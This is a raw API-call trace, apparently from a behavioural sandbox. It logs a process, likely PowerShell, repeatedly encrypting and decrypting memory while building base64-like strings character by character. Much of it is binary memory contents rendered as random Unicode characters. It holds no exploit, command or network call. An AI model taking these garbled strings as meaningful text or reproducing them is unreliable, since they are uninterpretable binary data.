(param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂閱ﴢ᠕ﰌ焹쉭㈃暝⡠큉䲟\䓛朵餤⫋飳騨⫑绐뇍ﴚ") returned 0x28 [0243.123] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂閱ﴢ᠕ﰌ焹쉭㈃暝⡠큉䲟\䓛朵餤⫋飳騨⫑绐뇍ﴚ") returned 0x28 [0243.123] SystemFunction041 (in: Memory=0x5c9b2c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b2c4) returned 0x0 [0243.123] SysStringLen (param_1="a0RIc0Kfj3xvBtXHpcu9imH21hkJLrSY3oZ⡆\῜㏔굅≤) returned 0x28 [0243.123] SystemFunction040 (in: Memory=0x5c9b2c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b2c4) returned 0x0 [0243.123] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂閱ﴢ᠕ﰌ焹쉭㈃暝⡠큉䲟\䓛朵餤⫋ﺆᒡᷬ嵨鍀䍫") returned 0x28 [0243.123] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂閱ﴢ᠕ﰌ焹쉭㈃暝⡠큉䲟\䓛朵餤⫋ﺆᒡᷬ嵨鍀䍫") returned 0x28 [0243.123] SystemFunction041 (in: Memory=0x5c9b2c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b2c4) returned 0x0 [0243.123] SysStringLen (param_1="a0RIc0Kfj3xvBtXHpcu9imH21hkJLrSY3oZa\῜㏔굅≤) returned 0x28 [0243.123] SystemFunction040 (in: Memory=0x5c9b2c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b2c4) returned 0x0 [0243.123] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂閱ﴢ᠕ﰌ焹쉭㈃暝⡠큉䲟\䓛朵餤⫋ｨ鏓婊㇜铥꣡⹎ꩈ") returned 0x28 [0243.124] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂閱ﴢ᠕ﰌ焹쉭㈃暝⡠큉䲟\䓛朵餤⫋ｨ鏓婊㇜铥꣡⹎ꩈ") returned 0x28 [0243.124] SystemFunction041 (in: Memory=0x5c9b2c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b2c4) returned 0x0 [0243.124] SysStringLen (param_1="a0RIc0Kfj3xvBtXHpcu9imH21hkJLrSY3oZaY퐟䔳播") returned 0x28 [0243.124] SystemFunction040 (in: Memory=0x5c9b2c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b2c4) returned 0x0 [0243.124] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂閱ﴢ᠕ﰌ焹쉭㈃暝⡠큉䲟\䓛朵餤⫋늝\xfdd8㠣틸䃍妥") returned 0x28 [0243.124] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂閱ﴢ᠕ﰌ焹쉭㈃暝⡠큉䲟\䓛朵餤⫋늝\xfdd8㠣틸䃍妥") returned 0x28 [0243.124] SystemFunction041 (in: Memory=0x5c9b2c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b2c4) returned 0x0 [0243.124] SysStringLen (param_1="a0RIc0Kfj3xvBtXHpcu9imH21hkJLrSY3oZaYZ䔳播") returned 0x28 [0243.124] SystemFunction040 (in: Memory=0x5c9b2c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b2c4) returned 0x0 [0243.125] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂閱ﴢ᠕ﰌ焹쉭㈃暝⡠큉䲟\䓛朵餤⫋\xfdde푸䈋쮠ⱘ\䯟횇⋴) returned 0x28 [0243.125] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂閱ﴢ᠕ﰌ焹쉭㈃暝⡠큉䲟\䓛朵餤⫋\xfdde푸䈋쮠ⱘ\䯟횇⋴) returned 0x28 [0243.125] SystemFunction041 (in: Memory=0x5c9b2c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b2c4) returned 0x0 [0243.125] SysStringLen (param_1="a0RIc0Kfj3xvBtXHpcu9imH21hkJLrSY3oZaYZX播") returned 0x28 [0243.125] SystemFunction040 (in: Memory=0x5c9b2c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b2c4) returned 0x0 [0243.125] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂閱ﴢ᠕ﰌ焹쉭㈃暝⡠큉䲟\䓛朵餤⫋ꚰ掮퀱┩녻釖") returned 0x28 [0243.125] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂閱ﴢ᠕ﰌ焹쉭㈃暝⡠큉䲟\䓛朵餤⫋ꚰ掮퀱┩녻釖") returned 0x28 [0243.125] SystemFunction041 (in: Memory=0x5c9b2c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b2c4) returned 0x0 [0243.125] SysStringLen (param_1="a0RIc0Kfj3xvBtXHpcu9imH21hkJLrSY3oZaYZXa") returned 0x28 [0243.125] SystemFunction040 (in: Memory=0x5c9b2c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b2c4) returned 0x0 [0243.126] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂閱ﴢ᠕ﰌ焹쉭㈃暝⡠큉䲟\䓛朵餤⫋ۈ쌽ྲ㾛꥔錈") returned 0x28 [0243.126] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂閱ﴢ᠕ﰌ焹쉭㈃暝⡠큉䲟\䓛朵餤⫋ۈ쌽ྲ㾛꥔錈") returned 0x28 [0243.126] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂閱ﴢ᠕ﰌ焹쉭㈃暝⡠큉䲟\䓛朵餤⫋ۈ쌽ྲ㾛꥔錈") returned 0x28 [0243.127] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂閱ﴢ᠕ﰌ焹쉭㈃暝⡠큉䲟\䓛朵餤⫋ۈ쌽ྲ㾛꥔錈") returned 0x30 [0243.127] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0243.127] SysStringLen (param_1="a0RIc0Kfj3xvBtXHpcu9imH21hkJLrSY3oZaYZXabﮨ磛蕕⊻䐞⳻") returned 0x30 [0243.127] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0243.127] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂閱ﴢ᠕ﰌ焹쉭㈃暝⡠큉䲟\䓛朵餤⫋ۈ쌽ྲ㾛꥔錈檀ӥ⍝࡜拁㲗謜႟") returned 0x30 [0243.127] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂閱ﴢ᠕ﰌ焹쉭㈃暝⡠큉䲟\䓛朵餤⫋ۈ쌽ྲ㾛꥔錈檀ӥ⍝࡜拁㲗謜႟") returned 0x30 [0243.127] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0243.127] SysStringLen (param_1="a0RIc0Kfj3xvBtXHpcu9imH21hkJLrSY3oZaYZXabi磛蕕⊻䐞⳻") returned 0x30 [0243.128] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0243.128] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂閱ﴢ᠕ﰌ焹쉭㈃暝⡠큉䲟\䓛朵餤⫋ۈ쌽ྲ㾛꥔錈耞䡬泱耒鷜歮쒔≸") returned 0x30 [0243.128] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂閱ﴢ᠕ﰌ焹쉭㈃暝⡠큉䲟\䓛朵餤⫋ۈ쌽ྲ㾛꥔錈耞䡬泱耒鷜歮쒔≸") returned 0x30 [0243.128] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0243.128] SysStringLen (param_1="a0RIc0Kfj3xvBtXHpcu9imH21hkJLrSY3oZaYZXabiU蕕⊻䐞⳻") returned 0x30 [0243.128] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0243.128] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂閱ﴢ᠕ﰌ焹쉭㈃暝⡠큉䲟\䓛朵餤⫋ۈ쌽ྲ㾛꥔錈렍瀵窵훐耣哭荟翠") returned 0x30 [0243.128] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂閱ﴢ᠕ﰌ焹쉭㈃暝⡠큉䲟\䓛朵餤⫋ۈ쌽ྲ㾛꥔錈렍瀵窵훐耣哭荟翠") returned 0x30 [0243.128] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0243.128] SysStringLen (param_1="a0RIc0Kfj3xvBtXHpcu9imH21hkJLrSY3oZaYZXabiU=⊻䐞⳻") returned 0x30 [0243.129] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0243.129] EtwEventActivityIdControl () returned 0x0 [0243.129] EtwEventActivityIdControl () returned 0x0 [0243.129] EtwEventActivityIdControl () returned 0x0 [0243.129] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.130] EtwEventActivityIdControl () returned 0x0 [0243.130] EtwEventActivityIdControl () returned 0x0 [0243.130] EtwEventActivityIdControl () returned 0x0 [0243.131] SysStringLen (param_1="") returned 0x8 [0243.131] SysStringLen (param_1="N") returned 0x8 [0243.131] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.131] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0243.131] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0243.132] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.132] SysStringLen (param_1="ND") returned 0x8 [0243.132] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.132] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0243.132] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0243.132] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.132] SysStringLen (param_1="NDZ") returned 0x8 [0243.132] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.132] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0243.132] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0243.133] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.133] SysStringLen (param_1="NDZl") returned 0x8 [0243.133] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.133] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0243.133] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0243.133] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.133] SysStringLen (param_1="NDZlO") returned 0x8 [0243.133] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.133] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0243.134] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0243.134] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.134] SysStringLen (param_1="NDZlOD") returned 0x8 [0243.134] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.134] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0243.134] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0243.134] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.134] SysStringLen (param_1="NDZlODR") returned 0x8 [0243.134] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.135] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0243.135] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0243.135] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.135] SysStringLen (param_1="NDZlODRm") returned 0x8 [0243.135] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.135] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0243.135] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0243.135] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0243.136] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0243.136] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.136] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0243.136] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.136] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0243.137] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0243.137] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.137] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0243.137] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.137] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0243.137] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0243.137] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.137] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0243.137] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.137] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0243.138] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0243.138] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.138] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0243.138] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.138] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0243.138] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0243.138] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.138] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0243.138] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.138] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0243.139] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0243.139] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.139] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0243.139] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.139] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0243.139] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0243.139] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.139] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0243.139] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.140] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0243.140] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0243.140] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.140] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0243.140] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.140] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0243.140] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0243.140] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0243.141] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0243.141] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.141] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0243.141] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.141] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0243.142] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0243.142] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.142] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0243.142] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.142] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0243.142] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0243.142] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.142] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0243.142] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.143] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0243.143] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0243.143] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.143] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0243.143] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.143] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0243.143] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0243.143] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.143] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0243.143] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.144] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0243.144] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0243.144] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.144] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0243.144] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.144] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0243.144] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0243.144] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.144] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0243.144] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.145] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0243.145] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0243.145] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.145] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0243.145] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.145] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0243.145] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0243.145] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0243.146] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0243.146] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.146] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0243.146] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.146] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0243.146] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0243.147] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.147] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0243.147] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.147] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0243.147] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0243.148] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.148] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0243.148] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.148] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0243.148] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0243.148] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.148] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0243.148] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.148] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0243.149] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") 